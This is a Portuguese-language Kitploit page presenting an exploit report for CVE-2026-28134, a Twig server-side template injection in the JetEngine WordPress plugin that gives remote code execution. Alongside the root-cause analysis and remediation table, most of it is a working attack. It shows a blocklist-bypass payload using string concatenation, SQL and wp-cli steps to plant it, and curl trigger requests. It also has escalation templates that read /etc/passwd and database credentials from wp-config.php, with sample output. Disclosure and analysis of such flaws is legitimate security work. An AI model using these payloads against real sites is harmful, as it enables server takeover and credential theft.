Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-28134 — JetEngine <= 3.7.2 - Autenticado (Contributor+) Execução Remota de Código | Kitploit
Ferramentas/GitHubGitHub/randomrobbiebf/cve-2026-28134
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebDesenvolvimento de Payloads
GitHubrandomrobbiebf/cve-2026-28134

CVE-2026-28134

JetEngine <= 3.7.2 - Autenticado (Contributor+) Execução Remota de Código

Ver Repositório
há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Relatório de Exploração CVE-2026-28134

JetEngine <= 3.7.2 — Execução Remota de Código Autenticada (Contribuidor+) via SSTI em Twig

Data: 11 de março de 2026 Pontuação CVSS: 8.8 (Alta) Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Plugin Afetado: JetEngine <= 3.7.2 Slug do Plugin: jet-engine CVE: CVE-2026-28134 Status: Privado Versão do WordPress Testada: Última


Resumo Executivo

A CVE-2026-28134 é uma vulnerabilidade de Execução Remota de Código no plugin JetEngine para WordPress que afeta todas as versões até 3.7.2 inclusive. A vulnerabilidade permite que atacantes autenticados com acesso de nível Contribuidor ou superior executem comandos arbitrários do sistema operacional no servidor, injetando um template Twig malicioso em um post de Listing do JetEngine.

A cadeia de ataque combina três fraquezas:

  1. Um despachante AJAX não autenticado, sem verificação de nonce ou capability, que renderiza templates de posts de Listing.
  2. Um mecanismo de renderização Twig/Timber sem sandbox — apenas um sanitizador baseado em blocklist de strings.
  3. Uma bypass do sanitizador usando o operador de concatenação de strings ~ do Twig para dividir nomes de funções bloqueados entre tokens.

✅ VULNERABILIDADE CONFIRMADA — RCE Total Alcançado

Impacto confirmado:

  • Execução arbitrária de comandos do sistema operacional como www-data
  • Acesso total de leitura ao filesystem (/etc/passwd, wp-config.php)
  • Exfiltração de credenciais do banco de dados

Detalhes da Vulnerabilidade

Resumo Técnico

O JetEngine fornece um tipo de visão de Listing baseado em Twig/Timber. Quando o componente timber_views está habilitado, posts de Listing com _listing_type = twig têm seu post meta _jet_engine_listing_html renderizado como um template Twig ao vivo via Timber. O pipeline de renderização é acessível através da ação AJAX não autenticada wp_ajax_nopriv_jet_engine_ajax, exigindo apenas que o atacante possa criar ou modificar um post de Listing do JetEngine (função mínima de Contribuidor).

Componentes Afetados


Cadeia de Exploração

Passo 1 — Despachante AJAX Não Autenticado

ajax-handlers.php registra a ação AJAX tanto para usuários autenticados quanto para não autenticados:

root@kitploit:~
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax',        array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );

O handler despacha para qualquer método público da classe com base em $_REQUEST['handler'], sem verificação de nonce ou capability:

root@kitploit:~
// ajax-handlers.php:96-104
public function handle_ajax() {
    if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
        return;
    }
    if ( ! empty( $_REQUEST['page_settings'] ) ) {
        foreach ( $_REQUEST['page_settings'] as $key => $value ) {
            $_REQUEST[ $key ] = $value;
        }
    }
    call_user_func( array( $this, $_REQUEST['handler'] ) );
}

Chamar listing_load_more é publicamente acessível e aciona o pipeline de renderização de Listing.

Passo 2 — Pipeline de Renderização Twig

A cadeia de chamadas listing_load_more → get_listing → frontend->get_listing_item alcança:

root@kitploit:~
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );

Quando $listing_view = 'twig', isso dispara Jet_Engine\Timber_Views\Render::get_listing_content(), que lê o template Twig do campo meta _jet_engine_listing_html do post e o passa diretamente para render_html():

root@kitploit:~
// timber.php:150
$template = $twig->createTemplate(
    $this->sanitize_html(
        do_shortcode( $this->sanitize_twig_content( $html ) )
    )
);
return $template->render( $context );

O Twig renderiza sem sandbox. A única proteção é sanitize_twig_content().

Passo 3 — Bypass do Sanitizador via Concatenação de Strings

sanitize_twig_content() remove nomes de funções PHP perigosas usando padrões regex de fronteira de palavra e depois verifica se o template foi modificado:

root@kitploit:~
// timber.php:256-262
$dangerous_funcs = [
    'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
    'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
    $input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}

O padrão \bsystem\b corresponde ao token literal system. Ele não corresponde a "sys" ~ "tem" porque são dois tokens de string separados. O Twig avalia a concatenação no momento da renderização, produzindo "system" apenas em memória — o template fonte nunca contém a palavra bloqueada.

Payload de bypass:

root@kitploit:~
{{ fn("sys" ~ "tem", "id") }}

O sanitizador vê fn, "sys", ~, "tem", "id" — nenhum deles está na blocklist. Ele passa inalterado.

Passo 4 — Execução de Código via Helper fn() do Timber

O Timber registra wrappers de chamáveis PHP diretamente no ambiente Twig:

root@kitploit:~
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn',       array( &$this, 'exec_function' ) ) );
root@kitploit:~
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
    $args = func_get_args();
    array_shift( $args );
    if ( is_string( $function_name ) ) {
        $function_name = trim( $function_name );
    }
    return call_user_func_array( $function_name, ( $args ) );
}

{{ fn("sys" ~ "tem", "id") }} resolve para call_user_func_array("system", ["id"]) — execução arbitrária de comandos do sistema operacional.


Prova de Conceito

Pré-requisitos

  1. O atacante possui acesso WordPress de nível Contribuidor (ou superior).
  2. O componente timber_views do JetEngine está habilitado (Configurações do JetEngine > Desempenho > Timber/Twig Views).
  3. O plugin da biblioteca Timber está instalado e ativo.

Configuração

Crie um post de Listing do JetEngine com o template Twig malicioso armazenado no post meta:

root@kitploit:~
-- Define o tipo de listing como twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';

-- Injeta o payload SSTI (bypass do sanitizador via concatenação ~)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';

-- Define a fonte do listing
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';

Ou via wp-cli (como o usuário Contribuidor):

root@kitploit:~
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'

Gatilho (Não Autenticado)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

Resultado

root@kitploit:~
{
  "success": true,
  "data": {
    "html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
  }
}

Escalação — Leitura de Arquivos

String bloqueada passthru dividida como "pas" ~ "sthru":

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

Template definido como {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Escalação — Exfiltração de Credenciais

Template {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:

root@kitploit:~
define( 'DB_USER',     getenv_docker('WORDPRESS_DB_USER',     ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST',     getenv_docker('WORDPRESS_DB_HOST',     ...) );

Análise de Causa Raiz

Causa 1 — Autenticação Ausente na Ação AJAX

wp_ajax_nopriv_jet_engine_ajax é disparada para requisições não autenticadas. O despachante handle_ajax() não realiza verificação de nonce nem verificação de capability antes de invocar listing_load_more. O pipeline de renderização é, portanto, acessível por qualquer usuário não autenticado, uma vez que um listing malicioso exista.

Causa 2 — Sem Sandbox Twig

A extensão oficial de sandbox do Twig (\Twig\Sandbox\SecurityPolicy) impõe allowlists no nível do mecanismo — é impossível chamar funções não permitidas explicitamente. O JetEngine usa createTemplate() sem sandbox. A única proteção é uma varredura de strings antes da renderização, facilmente contornada.

Causa 3 — Blocklist Regex Insuficiente

A abordagem de blocklist (/\bsystem\b/i) opera sobre o texto estático do template fonte. O operador de concatenação ~ do Twig constrói strings em tempo de execução. Qualquer nome bloqueado pode ser dividido: "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem", etc. Um sandbox adequado rejeitaria a chamada independentemente de como o nome da função foi construído.

Causa 4 — O Timber Expõe call_user_func_array

Os helpers Twig fn() e function() do Timber são pontes incondicionais para o call_user_func_array do PHP. Não há allowlist de funções chamáveis. Qualquer função PHP acessível pelo processo web pode ser invocada.


Remediação


Linha do Tempo

DataEvento
2026-03-11Vulnerabilidade descoberta e confirmada com PoC de RCE completo
2026-03-11Relatório elaborado

Referências

  • Plugin JetEngine — Crocoblock
  • Biblioteca Timber/Twig para WordPress
  • Extensão Sandbox do Twig
  • OWASP — Injeção de Template no Lado do Servidor
Baixar ferramenta
ArquivoProblema
includes/components/listings/ajax-handlers.php:29wp_ajax_nopriv_jet_engine_ajax registrado — sem auth ou nonce
includes/components/listings/ajax-handlers.php:104call_user_func(array($this, $_REQUEST['handler'])) — despacho arbitrário de método público
includes/components/timber-views/timber.php:150render_html() renderiza template Twig controlado pelo atacante sem sandbox
includes/components/timber-views/timber.php:189sanitize_twig_content() — blocklist regex de strings, contornada por divisão de tokens
timber-library/lib/Twig.php:42-43O Timber registra fn()/function() como wrappers Twig para call_user_func_array
CorreçãoDescrição
Adicionar verificação de nonce + capability em handle_ajax()Exigir a capability edit_posts e um nonce válido para todo o despacho AJAX
Habilitar sandbox TwigSubstituir a blocklist de strings por \Twig\Sandbox\SecurityPolicy — permitir explicitamente apenas funções e propriedades seguras
Restringir o helper fn() do TimberAplicar allowlist aos nomes de funções chamáveis ou remover fn()/function() do ambiente Twig para templates não confiáveis
Validar a propriedade do listingConfirmar que o usuário solicitante possui a capability edit_post no listing antes de renderizar seu template